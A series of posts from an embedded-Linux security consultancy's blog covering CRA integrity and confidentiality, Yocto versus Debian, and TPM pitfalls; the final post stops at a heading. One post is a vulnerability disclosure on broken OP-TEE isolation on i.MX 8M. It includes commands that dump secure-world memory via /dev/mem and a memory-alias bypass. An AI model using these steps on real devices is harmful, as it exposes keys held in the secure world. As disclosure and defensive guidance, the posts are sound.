sigma star gmbh Blog

Integrity on Embedded Linux Devices under the Cyber Resilience Act

Lorenz Kofler — Mon, 29 Jun 2026 00:00:00 +0200

Integrity on Embedded Linux Devices under the Cyber Resilience Act

As with confidentiality, the Cyber Resilience Act (CRA) lists integrity as an essential cybersecurity requirement. In this post, we look at what that means for embedded Linux devices.

Annex I, Part I(2) states that products with digital elements placed on the EU market shall:

(f) protect the integrity of stored, transmitted or otherwise processed data, personal or other, commands, programs and configuration against any manipulation or modification not authorised by the user, and report on corruptions

So how does an embedded Linux device actually satisfy this requirement? The CRA’s integrity requirement is as broad as it sounds. It covers not just (personal and non-personal) data, but also commands, programs, and configuration, and applies whether the device stores, transmits, or actively processes those assets.

There is no single technical control that protects all of these assets in all states. Depending on the product and its threat model, integrity may require controls for the boot chain, software updates, stored data, application binaries, configuration, commands, and communication with other systems.

Scope of the CRA Integrity Requirement

This has two parts:

Assets in Scope

stored, transmitted or otherwise processed data, personal or other, commands, programs and configuration

The CRA names data, commands, programs, and configuration, but it does not prescribe a fixed list of components or controls. Under Article 13, the cybersecurity risk assessment must indicate whether and how the Annex I, Part I(2) requirements apply to the product. For embedded devices, this means the vendor needs a threat model. It should identify which assets an attacker could modify, which paths they could use, and what the consequences would be.

For an embedded device, the assets in scope may include the bootloader, kernel, kernel command line, application binaries, configuration, and messages or commands exchanged with other systems. The requirement is therefore not limited to user data or personal data. Even a device that stores no personal data at all falls within the integrity requirement.

Required Protection

protect … against any manipulation or modification not authorised by the user, and report on corruptions

For an embedded Linux device, this means protecting relevant assets against unauthorised modification, detecting integrity failures where appropriate, and reporting corruptions. The right technologies depend on the asset and threat model.

In some cases, protecting against unauthorised modification also requires authenticity. The device must verify that software, configuration, commands, or data originate from an authorised source.

Integrity Controls for Embedded Linux

Embedded Linux devices usually need integrity controls at several layers. The following examples are a starting point, not a checklist for every product:

Secure boot: to verify the integrity and authenticity of each component in the boot chain before the device executes it. Implement secure boot carefully: attackers may abuse inputs outside the chain of trust, such as the kernel command line or bootloader environment, for bypasses.
Signed updates: to verify the authenticity and integrity of firmware, operating system, and application updates before the device installs them. Depending on the product, this may also require rollback protection.
Integrity of data at rest: to detect modification or corruption of stored data. Depending on the layer and use case, different mechanisms can implement this, such as:
- dm-verity for read-only block devices
- dm-integrity for writable block devices, optionally in combination with dm-crypt for authenticated encryption.
- Linux IMA and EVM for file integrity and selected file metadata.
- fs-verity for read-only file contents.

Access control: to preserve integrity by restricting who or what can modify relevant assets. A device may implement access control at different levels, for example with filesystem permissions, Linux security modules such as SELinux or AppArmor, or application-level authorization checks for APIs (such as REST or GraphQL).
Integrity of data in transit: to detect unauthorised modification of data while the device exchanges it with other systems and reject modified data, for example with TLS.
Trusted Execution Environments: to protect selected code and data while in use. For instance, TEEs can provide integrity and confidentiality protection even if an attacker compromises the main operating system, depending on the TEE design and threat model.

Conclusion

The main takeaway is that the CRA integrity requirement is broad, and no single feature can fulfill it. Depending on the threat model, the product may need multiple complementary technologies.

As a reminder, non-compliance with the CRA carries significant fines. The main obligations apply from 11 December 2027, after which non-compliance with the essential cybersecurity requirements can result in fines of up to EUR 15,000,000 or 2.5% of total worldwide annual turnover.

If you need help deriving a threat model, selecting suitable integrity mechanisms, or reviewing whether your existing mitigations cover the relevant threats, we’d be happy to help.

TrustZone Intermezzo: Broken OP-TEE Memory Isolation on i.MX 8M

Richard Weinberger — Thu, 11 Jun 2026 00:00:00 +0200

TrustZone Intermezzo: Broken OP-TEE Memory Isolation on i.MX 8M

TL;DR: If you don’t run upstream OP-TEE newer than v4.10.0 with CFG_TZASC_REGION0_SECURE=y or i.MX downstream OP-TEE newer than lf-6.12.49_2.2.0, OP-TEE’s memory is not properly protected and can be compromised from the normal world.

Recently, a commit from 2024 in the OP-TEE OS git repository caught our attention. It makes sure the TrustZone Address Space Controller (TZASC) is enabled on all i.MX 8M SoCs. Our first reaction was mixed. Can it really be that prior to this commit OP-TEE forgot to protect its own memory region? Or does the commit just add another safeguard against certain misconfigurations? And if so, why was no CVE filed?

Remember how the two worlds are split. OP-TEE runs in the so-called secure world of the SoC, while an operating system such as Linux runs in the normal world (AKA non-secure world). Arm TrustZone enforces this split using the TZASC.

So it is crucial that the normal world cannot directly access secure world memory. OP-TEE often implements a software TPM or holds other secret keys. Linux must not touch it, neither the kernel nor root in userspace.

That commit nagged at us, so we decided to dig in and give it a try. Many of our customers run i.MX 8M based systems and strongly emphasize security. We had a lot of fun along the way, so this blog post documents our journey.

Confirming the Bug

We booted one of our i.MX 8M boards, to be precise the NXP i.MX 8M Mini EVK, with OP-TEE version 4.1.0, which does not contain that commit. On this system, OP-TEE places its main memory at address 0xbe000000, so we tried to dump that region from Linux. The attempt should fail, because Linux runs in the normal world and OP-TEE in the secure world.

On Linux, root can reach all system memory through /dev/mem, so we attempted to read from 0xbe000000 that way. Tools such as devmem2 exist, but we wrote a few lines of Python to stay flexible. Access failed right away. Good. Right?

Not so fast. The kernel on this system was built with CONFIG_STRICT_DEVMEM. That option limits /dev/mem to device memory only, so it blocked our read before TrustZone ever came into play. Time to rebuild the kernel with CONFIG_STRICT_DEVMEM disabled.

On the freshly built kernel, the read still failed. Good, but were we sure? Thinking harder, we turned to the kernel log and found this line:

OF: reserved mem: 0x00000000be000000..0x00000000bfbfffff (28672 KiB) nomap non-reusable optee_core@be000000

OP-TEE adds reserved-memory nodes to the device tree passed to Linux, so Linux ignores this memory region completely. The nomap property in particular makes sure the region is never mapped. So our test could not work: Linux itself keeps the OP-TEE region out of reach. But that is not what we wanted to test. We wanted to know whether the access is possible at all. Linux runs in the normal world, and it must not reach that memory even when it really wants to. After changing a few lines of code, we had a kernel that ignored the nomap hint from OP-TEE. In a real-world scenario, an attacker who has taken over the kernel can bypass this restriction too, most simply by loading a custom kernel module.

Time to check again.

# dump memory
$ python3 devmem.py 0xbe000000 0x100000 > optee_core.bin

# check for a well known string
$ strings optee_core.bin | grep "OP-TEE version"
OP-TEE version: %s

Indeed, we could read OP-TEE’s memory from Linux! The bug is real and serious. It renders the whole security purpose of OP-TEE void. A compromised Linux system can reach the secure world and extract or even alter key material.

It’s Not Over Yet: The Mysterious region0 and Memory Aliases

This story could have ended here. OP-TEE forgot to enforce the memory restriction on a certain platform, a single commit fixed it, and we’re good. Not nice, but bugs happen. That’s life.

While further investigating, we found other commits related to the TZASC:

arm-trusted-firmware: fix(imx8m): don’t reconfigure default region0
optee: drivers: imx: tzc380: add support to verify region0

These commit messages hinted at a deeper problem. Protecting the secure world from the normal world takes more than enabling the TZASC correctly. The root cause is that the TZASC is not memory alias aware.

With the right fix, OP-TEE makes sure its memory region cannot be reached from the normal world. But that protection rests on the address alone, in our case 0xbe000000. Because the controller is not memory alias aware, another address can point to the very same memory location and slip past the access check.

This is where region0 becomes relevant. The TZASC allows configuring access permissions for certain memory address ranges. If a requested address has no configured range in the TZASC, it falls back to region0. region0 is a memory range configuration that covers the whole address space known to the SoC. Think of it as a wildcard. In the reset state region0 is secure-only, ensuring the fallback is safe. So all good? Sadly not, and that is exactly what the TF-A commit fixes.

If memory aliases can happen on your system, and some component reconfigures region0 during boot to allow normal world access, you are in deep trouble. Nothing about that configuration makes the danger obvious.

Trying harder

After upgrading both OP-TEE and TF-A, everything seemed fine. Access to 0xbe000000 was no longer possible. All good, until we noticed that the OP-TEE config option CFG_TZASC_REGION0_SECURE was disabled in our test setup. CFG_TZASC_REGION0_SECURE tests whether region0 is securely configured, which means only access from the secure world is allowed. Enabling it revealed the harsh truth. OP-TEE panicked very early at startup:

E/TC:0 0 Panic 'region0 is not secure configured, non-secure memory alias access possible!' at core/arch/arm/plat-imx/tzc380.c:217

So something on our system was still touching region0. Following a hunch, we looked at what our bootloader, U-Boot, does. In arch/arm/mach-imx/imx8m/soc.c it allows non-secure access to region0.

void enable_tzc380(void)
{
[...]
        /*
         * set Region 0 attribute to allow secure and non-secure
         * read/write permission. Found some masters like usb dwc3
         * controllers can't work with secure memory.
         */
        writel(0xf0000000, TZASC_BASE_ADDR + 0x108);
}

Removing that writel() made the OP-TEE panic go away and confirmed that nobody else touches region0 anymore.

Still, the aliasing question nagged at us. Was this a real issue or only a theoretical one? The i.MX 8M Mini reference manual showed no memory alias for the area our OP-TEE uses. Maybe we were safe even without the region0 fixes?

Therefore, we wrote a tiny program that uses /dev/mem and /proc/self/pagemap to find addresses that map to the same physical memory. It picks a page, reads its contents, flips a few high bits of the address, and checks whether the new address returns the same bytes. The approach turned out to be far more complicated than needed once it found the first aliases. Testing the OP-TEE area with the protection disabled, one alias for 0xbe000000 came out as 0x1be000000.

So the DDR controller of the i.MX 8M series ignores the upper 32 bits of a memory address. The TZASC and the DDR controller therefore disagree: the TZASC sees two unrelated addresses, while the DDR controller maps them to the same location. The TZASC settings do not apply to the alias, so the access falls through to region0. Not all upper bits are usable on Linux, because the address still has to fit into the configured address space. But setting bit 32 seemed to work fine.

As a final test, we re-applied all fixes but left U-Boot untouched, such that it reconfigured region0, and tried to dump OP-TEE’s memory:

$ python3 devmem.py 0xbe000000 0x100000 > optee_core.bin
Bus error
$ python3 devmem.py 0x1be000000 0x100000 > optee_core.bin
$ strings optee_core.bin | grep "OP-TEE version"
OP-TEE version: %s

It worked. The direct address was blocked, but the alias sailed right through, and all the protection turned out to be in vain.

Am I affected?

You are potentially affected if you run OP-TEE on an i.MX 8M SoC. Two separate issues make the bypass possible, and either one is enough to break the isolation:

OP-TEE prior to 4.2.0 does not enable the TZASC by default on i.MX 8M, so the secure region is never protected.
Other components, such as bootloaders and TF-A, reconfigure region0. Once a memory alias falls through to an open region0, the normal world reaches secure memory. Starting with OP-TEE 4.10.0, it’s possible to detect this.

To check your own system, run a recent OP-TEE with CFG_TZASC_REGION0_SECURE enabled. With that option OP-TEE verifies region0 at startup and panics when it is not secure, so it also catches the case where another component reconfigures region0 behind its back. The option is only available on OP-TEE 4.10.0 and newer.

If you use U-Boot as your bootloader, revert commit imx8m: Configure trustzone region 0 for non-secure access in the meantime. We gave the developers a heads-up. As soon as a better solution is available, we’ll note it here.

There is a special case for the i.MX downstream OP-TEE. If you run it, use at least the version that contains commit LFOPTEE-468 core: plat-imx: tzc380: update TZASC configuration. Sadly, downstream chose a different path. Instead of insisting on fixing the other components, they reconfigure region0 to disable non-secure access. It only papers over the real problem: other software components change region0 for the wrong reasons. Our hint on the U-Boot mailing list caused a heated discussion on the OP-TEE GitHub about how to deal with it.

Our main advice is simple: update OP-TEE, TF-A, and your bootloader regularly, because they carry important bug fixes. Sadly, no CVE numbers have been filed for these issues, so there is a good chance many users missed them. Although we are late to the party, we have requested CVE numbers and will update this blog post as soon as the CVEs are assigned.

Conclusion

Modern computer systems are endlessly complex, and even well-established components can hide odd issues. We had to peel back multiple layers to fully confirm the real issue:

CONFIG_STRICT_DEVMEM blocked the first test.
The device tree nomap property kept Linux from mapping the region at all.
Only after removing both did the TZASC alias bypass become visible.

From a security and code-audit perspective, one principle holds once more: do not trust anything. Even the memory protection of OP-TEE needs rigorous testing and, as we showed, you have to be sure you are testing the right thing. A less experienced engineer might have concluded that all was well, because Linux itself denied the first access attempts.

Finally, thanks to Pengutronix for addressing the issue in TF-A and OP-TEE!

You probably don't need Yocto, and that's fine

Richard Weinberger — Tue, 26 May 2026 00:00:00 +0200

You probably don’t need Yocto, and that’s fine

New customers often look surprised when, during the planning phase, we ask whether they really need Yocto. The unspoken assumption is usually that any serious embedded Linux project these days has to use Yocto. We at sigma star gmbh consider ourselves power users and Yocto experts. That’s exactly why we’re often the ones telling our customers to think twice before reaching for it. So why is Yocto the default, and when is it the wrong default?

What is Yocto, actually?

People sometimes call it “the Yocto Linux distribution”. That’s not what it is. Yocto is a toolkit for building your own Linux distribution. The Yocto Project itself ships a reference distribution called Poky, built from bitbake, openembedded-core, and meta-yocto¹.

The ability to assemble a Linux system that matches your needs exactly makes Yocto incredibly powerful for embedded projects. You can compile the whole user space for your CPU, apply patches to any component, toggle features on or off in any recipe, and pin or change every version. On top of that, many System on Chip (SoC) vendors and hardware partners publish ready-to-use Board Support Package (BSP) layers, which give you a working starting point on real hardware.

That mix of flexibility and vendor support makes Yocto the default choice. The same mix also turns it into a trap when you don’t actually need that much control.

Your distribution means your responsibility

With regulations like the Cyber Resilience Act (CRA)², product vendors now have to keep the software they ship secure and provide security updates for the lifetime of the product. That can be a long time to maintain a Linux system.

A regular Yocto release lives only about seven months, until the next release lands. Long Term Support (LTS) releases get up to four years of updates, which is the current policy starting with Yocto 5.0 (Scarthgap)³.

One might ask why four years isn’t enough. But there’s a less obvious problem. To see it, we need to look at what a Yocto LTS release actually maintains.

A Yocto release is a set of bitbake recipes for software components, with specific versions and metadata, plus the reference distribution Poky. During the maintenance period, the Yocto maintainers apply bug and security fixes to those components and to Poky. For software components, those fixes usually take the form of backports from newer upstream versions.

And here’s the twist. Since Yocto is a tool to build your own distribution, you’ve most likely made changes like these:

Non-trivial patches or local tweaks to a handful of components.
Extra components added on top of what Yocto ships.
Version bumps or pins to pick up a fix or hold a known-good state.

With every Yocto maintenance release, you’ll have to check whether your changes still apply cleanly on top of the new state. On top of that, you need to confirm that the components you added or pinned still receive fixes from somewhere, because Yocto’s maintainers don’t know about them. At the end of the day, it’s your maintenance work.

If you take Poky and use it almost unchanged, a fair question to ask is: Why are you using Yocto in the first place?

The elephant in the room: the Linux kernel

Yocto ships a Linux kernel and maintains it as part of each release. But you probably won’t use it unmodified. You almost always have to apply at least your vendor’s patches, and run a kernel new enough to include the drivers and fixes you depend on. So once you factor in CVE tracking, the kernel alone is a big part of your maintenance work, whether you use Yocto or not.

There’s a way to keep that work under control. We strongly advise our customers to build on top of an LTS kernel from kernel.org⁴ and keep all their changes in a tidy patch queue. To stay current on security fixes, move to each new stable release and re-apply the patch queue. kernel.org maintains LTS kernels for years, so your patch queue usually applies cleanly and only needs real work when you jump to a new LTS release.

Depending on your setup and security requirements, the same applies to the bootloader, which is usually just as vendor-specific.

And for completeness: sticking with the kernel your vendor ships is usually a bad idea. Vendor kernels sit years behind kernel.org, rarely receive updates, and miss almost all security fixes. Exceptions prove the rule.

The hidden cost of a custom distribution

Building “your own distribution” sounds great in a slide deck. In practice, it costs real engineering time.

Build times. Yocto compiles practically everything from source. A clean build of a non-trivial image takes hours on a fast workstation. The sstate-cache and a shared DL_DIR make repeat builds faster, but the cache itself is fragile: a small recipe change can invalidate large parts of it.
Disk and CI cost. A working Yocto build directory easily reaches 100 GiB or more. CI runners need beefy storage and a way to share sstate between jobs. You can mirror sstate and DL_DIR to make this less painful, but that infrastructure is yours to operate.
Learning curve. bitbake recipes, layers, dynamic layers, classes, overrides, bbappend files, PACKAGECONFIG, the difference between DEPENDS and RDEPENDS: the list of things you need to internalise before you can ship a Yocto image is long. Onboarding an engineer into a Yocto codebase takes weeks, not days.
BSP layer quality varies. Some SoC vendors ship clean, well-maintained BSP layers. Others ship a meta-vendor layer that pins a five-year-old kernel or bootloader, hardcodes machine-specific recipes into the wrong layers, and breaks every time you bump Poky. That “good starting point” can become the worst part of your build.

None of this is a reason to avoid Yocto. It’s a reason to make sure you actually need it before you commit.

An alternative: reuse an established distribution

If all you really need is a solid Linux foundation to run your application on, an established distribution like Debian GNU/Linux solves most of the same problems with much less per-project work⁵.

Debian today ships about 70,000 binary packages, built for all common architectures: amd64, i386, arm64, armhf, riscv64, ppc64el, and a handful of others⁶. Chances are good that your SoC can run those binaries directly, with no recompilation required.

Debian doesn’t only ship modern user space with systemd, udev, and dbus. The archive also contains everything you need to build small Linux systems with SysV-style init or BusyBox. You pick a slim base, install only the packages your product needs, and still benefit from the work of Debian’s package maintainers.

Debian maintenance

Debian stable receives security updates from the Debian Security Team for roughly three years. After that, the Debian LTS project, a community effort, extends support for about two more years on common architectures⁷. That works out to around five years per release in practice, close to a Yocto LTS, but with far less per-project work.

To pick up the latest fixes, you fetch the latest Debian packages and re-roll your image. Compared to a Yocto setup where you have to backport upstream patches yourself, or recheck whether your local modifications still apply on top of a maintenance release, that’s a different world.

How does an embedded image actually get built?

This is usually the point where people get confused. They picture booting an SoC from a USB flash drive and running the Debian installer. That’s not what we mean.

The idea is to generate a flashable image on a build host and write it to the device. To do that, you need:

Bootloader, usually SoC-specific (e.g. u-boot).
Linux kernel, usually SoC-specific too.
Root filesystem with the Linux user space, taken straight from Debian.
Image assembly tool to glue the three together into a flashable image.

For that last piece, the three usual suspects are mkosi⁸, ELBE⁹, and debos¹⁰.

All three are free software, and all three produce a deterministic image you can flash to your hardware. The maintenance work shrinks dramatically: most updates become an apt-style refresh of the packages in the image, not a recipe rewrite.

Example: debos

To make the Debian path concrete, here’s the rough shape of a debos-based build.

debos reads a YAML recipe: a list of actions such as running a command, generating a root filesystem, or installing a Debian package from a configured source.

The basic workflow looks like this:

Use aptly¹¹ to run a local Debian mirror that holds a copy of every Debian package you need.
Build your Linux kernel and, optionally, your bootloader as Debian packages and add them to the mirror.
Snapshot the mirror and tag the snapshot. That tag is your release.
Configure debos to use the mirror, and write recipe actions that produce your target image.
If needed, archive the Debian source packages and the image’s Software Bill of Materials (SBOM) alongside the image. That keeps you on the right side of GPL source-availability and CRA bill-of-materials requirements. Tools like debsbom¹² generate the SBOM straight from a Debian system.

Yocto or not Yocto? How to decide

After all that, when should you pick Yocto?

Use Yocto when:

You need a heavily customised distribution: custom user space, custom compile flags, deep changes to base components.
You have hard size or boot-time constraints that an off-the-shelf distribution can’t meet.
You operate under license restrictions that exclude common license categories. Some industries (medical devices, automotive, certain defense work) won’t ship GPLv3 components. Yocto’s INCOMPATIBLE_LICENSE mechanism makes excluding a whole license family across the image straightforward; with a stock Debian base you have to audit and trim packages yourself.
Your SoC vendor’s official support path is Yocto and the BSP is solid.

Skip Yocto when:

You “just” need a modern Linux to run your application on top of.
Your storage and memory budget can absorb a normal Debian-based image (say, hundreds of MB of flash and 256 MB or more of RAM).
Your product lifetime is long enough that you’d rather rely on Debian’s Security Team than maintain your own.

Skip Debian when:

You need to modify or rebuild many of its packages. Rebuilding a few is manageable, but each rebuilt package is maintenance you take on yourself. Patching dozens of upstream packages recreates the work the Debian maintainers were doing for you, and Yocto’s recipe model handles that scale more cleanly.
You need a non-glibc libc such as musl or uClibc. Debian’s main archive uses glibc throughout; swapping it out means rebuilding most of the archive yourself.
You need software much newer than Debian stable ships. Backports help for some packages, but if your product needs a recent compiler or a recent runtime, Debian stable will fight you, and Debian testing isn’t a production target.

Whichever way you decide, decide consciously and decide early. This is a foundational choice that’s hard to walk back once a product is in the field. When in doubt, start with an established distribution. Migrating to Yocto later, once you have a real reason for it, is much cheaper than the reverse: discovering halfway through a project that you’ve taken on years of maintenance work for no real benefit.

Conclusion

Yocto is a remarkable piece of engineering. It lets you build exactly the Linux system you need, and that’s precisely the problem when you don’t need exactly that. The same goes for other build-from-source tools like Buildroot: almost everything above applies there too, because the moment you assemble your own distribution, you own its maintenance.

“Your own distribution” really means your own maintenance. The CRA and similar regulations make that bill come due.
A heavily modified Yocto build doesn’t inherit upstream fixes for free. Every maintenance release becomes review and rework.
An established distribution like Debian, assembled into an image with mkosi, ELBE, or debos, covers the common case with a fraction of the per-project effort.
When you need surgical control over the system, Yocto wins. When you don’t, picking it is a long, expensive way of solving a problem you don’t have.

For customers building a custom distribution, we always recommend Yocto. For everyone else, we keep asking the same question: Do you really need it?

Data Confidentiality via Storage Encryption on Embedded Linux Devices

Lorenz Kofler — Tue, 24 Feb 2026 00:00:00 +0100

Data Confidentiality via Storage Encryption on Embedded Linux Devices

The Cyber Resilience Act (CRA) lists data confidentiality as an “essential cybersecurity requirement” that products must meet to be placed on the EU market¹. This requirement will affect many embedded Linux devices, particularly those that store personal data. This blog post is the first in a series covering CRA-related security topics.

Data confidentiality is the protection of data against unauthorized access and disclosure. To ensure confidentiality comprehensively, it must be maintained across all states in which data may exist. Depending on the threat model, different technologies may be required for each state. For example:

Transport Layer Security (TLS) for data in transit
Trusted Execution Environments (TEEs) for data in use
Encryption at rest (e.g., full-disk encryption) for data at rest

Various methods can provide confidentiality for data at rest, depending on the specific requirements of the data. For example, to protect user passwords, Linux relies on the shadow file (/etc/shadow) , which stores salted password hashes. This approach works because authentication only requires comparing hashes, not recovering the original plaintext. However, if the data must be retrieved in plaintext later, encryption is a common approach.

Storage encryption can be implemented at multiple layers of the software stack. The most fine-grained approach is application-level encryption, where specific programs, such as password managers, manage encryption and decryption internally. Another option is storage-level encryption, which transparently protects data regardless of which application accesses it. In this post, we focus on the storage encryption technologies available in Linux.

Linux offers several mechanisms within the storage stack to encrypt data at rest, with dm-crypt², fscrypt³, and eCryptfs⁴ being among the most common options. At the block level, dm-crypt facilitates full-disk or full-partition encryption. At the filesystem level, fscrypt enables granular per-directory encryption on supported filesystems. While eCryptfs offers a similar stacked filesystem approach, it is an older technology that has been largely superseded by fscrypt.

Side Note: What Data at Rest means

Data at rest refers to digital information that is physically stored on a stable storage medium, such as a hard drive or a flash drive, and is not currently moving through a network or being processed in memory. In the context of storage encryption, this data is protected by converting it into ciphertext using cryptographic algorithms, ensuring that its confidentiality is preserved even if the physical hardware is stolen. Accessing the information requires a specific decryption key or password, which serves as a final barrier between an unauthorized user and the raw files.

Block-level encryption with dm-crypt

The dm-crypt device-mapper target implements block-level encryption in Linux. It enables full-disk or full-partition encryption on any device exposed to Linux as a block device, that is, any storage medium that processes data in fixed-size blocks, such as HDDs, SSDs, SD cards, and eMMC modules. Because it operates at the block level, it supports any block-based filesystem.

The Linux device-mapper allows the creation of virtual block devices that map to one or more underlying block devices, which may be physical or virtual. A device-mapper target processes read and write requests issued to the virtual block device and forwards them to the underlying device. The target specifies how requests are mapped and whether data is transformed in the process. One such target is dm-crypt, which encrypts data on writes and decrypts it on reads.

While dm-crypt can encrypt entire disks or partitions, it operates strictly on block devices. Therefore, it cannot operate on raw flash exposed through the Linux MTD subsystem (e.g., raw NAND), which is common in embedded systems. Note that SSDs and USB drives are flash-based too, but their internal controllers abstract the raw flash and present a normal block device interface to the OS.

The user space tool cryptsetup⁵ is commonly used for configuring dm-crypt volumes. Alternatively, the tool dmsetup⁶ provides low-level control of the device-mapper and can manage mappings for any target, including dm-crypt. cryptsetup supports the Linux Unified Key Setup (LUKS) format (LUKS1⁷ and LUKS2⁸), which specifies a standardized on-disk header for storing encryption metadata at the beginning of the encrypted block device. The LUKS header contains multiple key slots, allowing multiple passphrases to unlock the same encrypted volume. When the user enters a passphrase, cryptsetup derives a key-encryption key and uses it to decrypt the volume key material stored in a LUKS key slot. If this step succeeds, cryptsetup loads the volume key into dm-crypt.

Filesystem-level encryption with fscrypt (or eCryptfs)

The Linux kernel provides two mechanisms for filesystem-level encryption: fscrypt and eCryptfs. Of these, fscrypt is the modern and recommended solution. Before fscrypt was introduced, overlay or stacked filesystem approaches such as eCryptfs were commonly used. eCryptfs itself is a stacked filesystem and the community now widely considers it obsolete, with potential removal from the Linux kernel in the future⁹. As a result, its use today is typically justified only in niche scenarios, most notably when filesystem-level encryption is required but the underlying filesystem does not support fscrypt.

fscrypt provides transparent encryption at the filesystem level. In contrast to dm-crypt, which encrypts an entire block device, filesystem-level encryption applies policies per directory, encrypting the files within the protected directory tree. This design allows different parts of the same filesystem to use different encryption keys. For example, multiple users can encrypt their home directories with distinct keys even though all home directories reside on the same underlying block device.

Because fscrypt is a library that filesystems can hook into to support transparent encryption of files and directories, a filesystem must explicitly support it. Filesystems that currently support fscrypt include ext4, f2fs, and ubifs. fscrypt is particularly relevant for deeply embedded Linux systems that use raw NAND storage, where dm-crypt cannot be used because it operates only on block devices.

It is important to note that fscrypt encrypts file contents and filenames, but leaves most filesystem metadata unencrypted. This includes ownership and permission bits, timestamps and directory structure.

Key Takeaways

Linux can protect data at rest using storage encryption at the block level with dm-crypt or at the filesystem level with fscrypt or the older eCryptfs. From the perspective of applications, this protection is transparent because the kernel encrypts data on write operations and decrypts it on read operations. As a result, data is stored on disk in encrypted form. An attacker who gains physical access to the storage medium or obtains an offline disk image can recover only ciphertext.

A more fine-grained alternative is application-level encryption, where the application implements encryption and decryption internally. This approach increases complexity, but it can provide additional protection against certain runtime attacks. For example, consider an attacker who gains remote, arbitrary read access to the filesystem. With application-level encryption, reads of application data files still return only ciphertext, and the attacker must also compromise the application or its key-handling path to obtain plaintext. By contrast, with the storage encryption methods discussed above, once the data is unlocked, the OS exposes plaintext through the filesystem as part of normal operation, so an attacker with sufficient runtime file access can read the data directly.

However, encryption alone does not ensure integrity. For example, fscrypt provides confidentiality but not integrity, so an attacker who modifies ciphertext can cause data corruption or worse, change encrypted data in a way that cause software to act differently. To detect tampering, use authenticated encryption (AEAD) with dm-crypt in combination with integrity mechanisms such as dm-integrity¹⁰ for writable storage or dm-verity¹¹ for read-only storage.

Another issue to keep in mind is that, on embedded devices, interactive passphrase entry at boot is generally not possible, even though it is needed to retrieve the storage encryption key. Therefore, the key must be stored in a secure location. Embedded systems commonly rely on hardware-backed key storage for this purpose, such as TPMs or secure elements. For further reading, see our blog post TPM on Embedded Systems.

The most appropriate method to ensure data confidentiality depends on the data that requires protection and the threat model. At sigma star gmbh, we generally recommend combining full-disk encryption using dm-crypt with application-level encryption for sensitive data. For embedded systems, we also recommend benchmarking encryption algorithms and cipher configurations. If the CPU must encrypt and decrypt every block in software, read and write throughput and boot time can degrade. By benchmarking candidate configurations on the target hardware, we can determine the highest-performing option without compromising security.

TPM on Embedded Systems: Pitfalls and Caveats

David Gstir — Mon, 19 Jan 2026 00:00:00 +0100

TPM on Embedded Systems: Pitfalls and Caveats to Watch Out For

Trusted Platform Module (TPM) chips have been around since the release of the TPM 1.2 specification more than 20 years ago, and the TPM 2.0 specification¹ was released in 2014. The technology is now seeing widespread adoption in various computing sectors. TPMs have been a standard feature in PCs, particularly notebooks, for some time. With integration into tools like systemd’s tooling for LUKS/dm-crypt and legal requirements like EU’s CRA, TPM functionality is also now making its way into the embedded Linux sector. In this post, we’ll highlight common pitfalls and considerations for using TPM chips on embedded devices.

Brief Overview: Trusted Platform Module (TPM)

Usually, a TPM is a dedicated chip that is connected to the CPU via a bus like LPC, SPI, or I2C. In modern PCs, a firmware-based TPM (fTPM) is common, where the firmware (e.g., UEFI) emulates a TPM in a secure environment. The same is also possible on embedded devices, for example, by using Arm TrustZone to emulate a TPM.

There are three common use cases for TPM:

Secret storage: A core feature of a TPM is its ability to protect data using secure, internal keys. These keys are protected in a way that makes them usable only by and within the TPM itself. A TPM 2.0 chip supports multiple key hierarchies that reflect different trust scenarios, with the Platform Hierarchy and Storage Hierarchy being the most commonly used ones. A TPM client can create a new key in a hierarchy where the parent key’s handle is used to protect (encrypt and authenticate) the child key’s data (then known as blob) when it is placed in external storage². This process is known as binding. When the secret is needed again, the protected blob is passed back to the TPM, which verifies and decrypts it before returning it to the client.

The TPM 2.0 specification defines a multitude of cryptographic algorithms such as hash functions, symmetric/asymmetric ciphers and message authentication codes (MACs). This enables its use for network protocols like TLS and storage security like LUKS/dm-crypt on Linux or BitLocker on Windows.
Measured boot: Each TPM chip contains a set of 24 Platform Configuration Registers (PCRs)³. Their values are hashes produced from log events that reflect the boot and configuration state of the platform. This is primarily used to secure the boot chain of a system, where each stage of the boot process measures relevant components (bootloader, drivers, firmware, configuration data, etc.) and uses these measurements to extend the cryptographic hash of the respective PCRs. Concurrently, the details of these measurements are recorded in the TPM’s event log. The full set of PCR values provides a record of the boot state. Should a component be manipulated, the final PCR value will change, which indicates a potential security issue.

This can be combined with TPM keys, where each key can be tied to a set of PCR values (known as sealing). If the PCRs contain the expected values, the TPM allows the key to be used. Otherwise, its use is prevented. This enables tight control over when a key is usable and provides an integrity measure.
(Remote) Attestation: TPMs provide the ability to produce cryptographic proof of the boot and configuration state of a system. This is done through a dedicated attestation protocol. For the protocol to work, a trust chain must be established by verifying the TPM’s identity and its Attestation Key (AK). The attestation procedure utilizes a TPM key that is bound to a set of PCR values. This enforces that the attestation can only be run when the system is in a known, secure state. The result of this process is a signed Quote from the TPM, which contains the current PCR values and a signature that proves their origin.

Using TPM on Embedded Device

Embedded devices are primarily based on Arm SoCs, in contrast to the x86/amd64-based CPUs common in PCs. This distinction is particularly relevant for the secure boot process, as much of this is handled by a PC’s UEFI, which is not standard on most embedded systems. Instead, these systems rely on a vendor-specific boot-ROM followed by bootloaders like Barebox or U-Boot. While U-Boot can support running in UEFI mode, this is still a rarity in the embedded space. It is, however, possible to achieve a similar security posture without UEFI, as demonstrated by Manuel Traut’s All Systems Go! talk from 2024⁴. A physical TPM chip is not strictly necessary either, as a fTPM can be implemented using technologies like Arm TrustZone with OP-TEE.

From a threat model perspective, a critical difference between a PC and an embedded device is that an embedded system often operates in a physically hostile environment without constant human supervision. While a laptop can usually be protected by its owner quite easily (i.e. lock it away), an embedded device, such as an IoT sensor or a point-of-sale terminal, is a prime target for physical attacks including tampering, side-channel attacks, fault injection, and bus snooping. This is particularly relevant when a TPM is used for disk encryption, as research has shown these attacks can be effective against solutions like BitLocker⁵ and others⁶.

The key difference in threat models is that the device manufacturer often needs to protect their intellectual property (firmware, algorithms, and data) from the end-user or third parties, whereas on a PC, the end-user is the one protecting their assets.

An advantage of embedded systems, however, is that their software stack is tailored to a specific use case, unlike a general-purpose PC. This allows the manufacturer to tightly control the software environment and implement robust security measures.

Other noteworthy differences include the significantly longer lifetimes of embedded systems, which can exceed 10 years, compared to the 3-5 year lifespan of a typical PC. This extended lifecycle necessitates longer support cycles for hardware components, including TPM chips, whose firmware may contain vulnerabilities that require updates. Furthermore, embedded systems are increasingly subject to legal requirements like CRA (Cyber Resilience Act) and NIS2 (Network and Information Systems Directive 2), which aim to raise their security baseline and hold manufacturers accountable.

TPM Pitfalls on Embedded Devices

